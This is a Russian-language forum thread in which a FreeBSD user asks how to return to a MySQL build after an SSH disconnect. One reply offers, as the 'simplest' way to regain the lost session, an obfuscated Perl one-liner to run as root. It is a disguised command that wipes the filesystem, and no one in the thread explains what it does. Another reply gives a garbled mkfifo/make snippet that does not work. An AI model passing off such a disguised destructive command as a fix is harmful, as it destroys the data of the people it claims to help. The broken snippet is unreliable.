Ув. спецы по UNIX буду благодарен если ответите через ssh запустил на freebsd 7.2 процесс установки mysql... из портов, процесс пошёл, но вот потерял мой комп. (клиентский) связь с инетом и ssh сессия разорвалась.... после переподключения по ssh мне был "выдан" новый tty.... а как мне вернуться к тому терминалу, где у меня идёт процесс установки mysql...?
>Ув. спецы по UNIX буду благодарен если ответите через ssh запустил на
>freebsd 7.2 процесс установки mysql... из портов, процесс пошёл, но вот
>потерял мой комп. (клиентский) связь с инетом и ssh сессия разорвалась....
>после переподключения по ssh мне был "выдан" новый tty.... а как
>мне вернуться к тому терминалу, где у меня идёт процесс установки
>mysql...?Насколько я могу понимать работу терминалов, то уже никак вы не вернётесь к процессу установки. Любой процесс запущеный с терминала, является дочерним процнсом командной оболочки(shell) этого терминала. Когда соединение было разорвано, shell на этом терминале закрывется, и заодно посылает сигнал о закрытии всем дочерним процессам - тоесть прцессу установки mysql.
>мне вернуться к тому терминалу, где у меня идёт процесс установки
>mysql...?Этот поцесс уже нигде не идёт
>мне вернуться к тому терминалу, где у меня идёт процесс установкиПроще всего выполнить из под root'а команду
cat "tty0 tty1 tty2" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
>Проще всего выполнить из под root'а командуНо это, конечно, хак и пригоден он только для того, чтобы зайти в потерянную сессию и завершить критическую задачу.
При выполнениии критических задач крайне желательно использовать screen. Это программа позволяет безболезненно отлючаться, оставляя все процессы работающими. Подробнее здесь http://www.lissyara.su/?id=1774
>>Проще всего выполнить из под root'а команду
>
>Но это, конечно, хак и пригоден он только для того, чтобы зайти
>в потерянную сессию и завершить критическую задачу.
>
>При выполнениии критических задач крайне желательно использовать screen. Это программа позволяет безболезненно
>отлючаться, оставляя все процессы работающими. Подробнее здесь http://www.lissyara.su/?id=1774А ишо
# mkfifo /tmp/fifa
# make 2>&1 | /tmp/fifa &
# /dev/tty < /tmp/fifa;Ну как-то так ...
спасибо все что не остались равнодушными..... меня ОЧЕНЬ рассмешило пара слов....: "Проще всего..." в нижеследующем контексте....))))>Проще всего выполнить из под root'а команду
>cat "tty0 tty1 tty2" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'я по новой запустил make install....
>я по новой запустил make install....Вообще, предварительно лучше ещё было бы сделать make clean раз прошлая сборка завершилась аварийно